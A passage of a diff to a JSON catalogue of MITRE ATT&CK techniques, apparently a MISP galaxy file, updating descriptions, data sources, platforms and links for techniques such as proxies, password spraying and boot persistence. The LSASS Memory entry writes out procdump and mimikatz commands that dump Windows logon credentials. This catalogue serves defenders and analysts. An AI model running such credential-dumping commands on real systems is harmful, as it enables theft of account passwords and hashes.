Task](https://attack.mitre.org/techniques/T1053)).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.", + "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", "meta": { - "external_id": "T1059", + "external_id": "T1164", + "refs": [ + "https://attack.mitre.org/techniques/T1164", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ] + }, + "related": [ + { + "dest-uuid": "e5cc9e7a-e61a-46a1-b869-55fb6eab058e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300", + "value": "Re-opened Applications - T1164" + }, + { + "description": "Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", + "meta": { + "external_id": "T1571", "kill_chain": [ - "mitre-attack:execution" + "mitre-attack:command-and-control" ], "mitre_data_sources": [ "Process monitoring", - "Process command-line parameters" + "Process use of network", + "Netflow/Enclave netflow", + "Packet capture" ], "mitre_platforms": [ "Linux", @@ -8021,49 +12945,19 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1059", - "https://en.wikipedia.org/wiki/Command-line_interface" + "https://attack.mitre.org/techniques/T1571", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ] }, - "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "value": "Command-Line Interface - T1059" - }, - { - "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", - "meta": { - "external_id": "T1164", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1164", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ] - }, - "uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300", - "value": "Re-opened Applications - T1164" + "uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "value": "Non-Standard Port - T1571" }, { "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", "meta": { "external_id": "T1178", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "API monitoring", - "Authentication logs", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1178", "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", @@ -8074,6 +12968,15 @@ "https://msdn.microsoft.com/library/ms677982.aspx" ] }, + "related": [ + { + "dest-uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d", "value": "SID-History Injection - T1178" }, @@ -8081,27 +12984,24 @@ "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", "meta": { "external_id": "T1188", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "Network protocol analysis", - "Netflow/Enclave netflow" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1188" ] }, + "related": [ + { + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "7d751199-05fa-4a72-920f-85df4506c76c", "value": "Multi-hop Proxy - T1188" }, { - "description": "A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring application access tokens.\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", + "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", "meta": { "external_id": "T1189", "kill_chain": [ @@ -8130,6 +13030,37 @@ "uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", "value": "Drive-by Compromise - T1189" }, + { + "description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", + "meta": { + "external_id": "T1542", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "VBR", + "MBR", + "Component firmware", + "Process monitoring", + "Disk forensics", + "EFI", + "BIOS", + "API monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1542", + "https://en.wikipedia.org/wiki/Booting", + "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html" + ] + }, + "uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "value": "Pre-OS Boot - T1542" + }, { "description": "As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\n(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)", "meta": { @@ -8150,6 +13081,3145 @@ "uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", "value": "Drive-by Compromise - T1456" }, + { + "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.", + "meta": { + "external_id": "T1559", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "DLL monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1559" + ] + }, + "uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "value": "Inter-Process Communication - T1559" + }, + { + "description": "Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.", + "meta": { + "external_id": "T1134.001", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Access tokens", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1134/001", + "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + ] + }, + "related": [ + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "type": "subtechnique-of" + } + ], + "uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", + "value": "Token Impersonation/Theft - T1134.001" + }, + { + "description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ", + "meta": { + "external_id": "T1001.001", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1001/001", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "type": "subtechnique-of" + } + ], + "uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade", + "value": "Junk Data - T1001.001" + }, + { + "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n", + "meta": { + "external_id": "T1003.001", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "PowerShell logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1003/001", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/", + "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea", + "https://github.com/mattifestation/PowerSploit" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "type": "subtechnique-of" + } + ], + "uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "value": "LSASS Memory - T1003.001" + }, + { + "description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ", + "meta": { + "external_id": "T1001.003", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1001/003", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "type": "subtechnique-of" + } + ], + "uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "value": "Protocol Impersonation - T1001.003" + }, + { + "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", + "meta": { + "external_id": "T1090.001", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Network protocol analysis", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1090/001", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "type": "subtechnique-of" + } + ], + "uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "value": "Internal Proxy - T1090.001" + }, + { + "description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.", + "meta": { + "external_id": "T1090.002", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Network protocol analysis", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1090/002", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "type": "subtechnique-of" + } + ], + "uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "value": "External Proxy - T1090.002" + }, + { + "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)", + "meta": { + "external_id": "T1003.004", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process monitoring", + "PowerShell logs", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1003/004", + "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23", + "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN", + "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf", + "ttps://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets", + "https://github.com/mattifestation/PowerSploit" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "type": "subtechnique-of" + } + ], + "uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "value": "LSA Secrets - T1003.004" + }, + { + "description": "Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.\n\nThis functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.", + "meta": { + "external_id": "T1003.007", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process monitoring" + ], + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1003/007", + "https://github.com/huntergregal/mimipenguin" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "type": "subtechnique-of" + } + ], + "uuid": "3120b9fa-23b8-4500-ae73-09494f607b7d", + "value": "Proc Filesystem - T1003.007" + }, + { + "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", + "meta": { + "external_id": "T1070.004", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata", + "Process command-line parameters", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1070/004", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + ] + }, + "related": [ + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "type": "subtechnique-of" + } + ], + "uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "value": "File Deletion - T1070.004" + }, + { + "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", + "meta": { + "external_id": "T1090.004", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1090/004", + "http://www.icir.org/vern/papers/meek-PETS-2015.pdf" + ] + }, + "related": [ + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "type": "subtechnique-of" + } + ], + "uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2", + "value": "Domain Fronting - T1090.004" + }, + { + "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "meta": { + "external_id": "T1110.001", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Office 365 account logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "GCP", + "Azure AD", + "AWS", + "Azure", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1110/001", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "https://www.us-cert.gov/ncas/alerts/TA18-086A" + ] + }, + "related": [ + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "type": "subtechnique-of" + } + ], + "uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "value": "Password Guessing - T1110.001" + }, + { + "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", + "meta": { + "external_id": "T1110.002", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Office 365 account logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "Azure AD" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1110/002", + "https://en.wikipedia.org/wiki/Password_cracking" + ] + }, + "related": [ + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "type": "subtechnique-of" + } + ], + "uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d", + "value": "Password Cracking - T1110.002" + }, + { + "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to 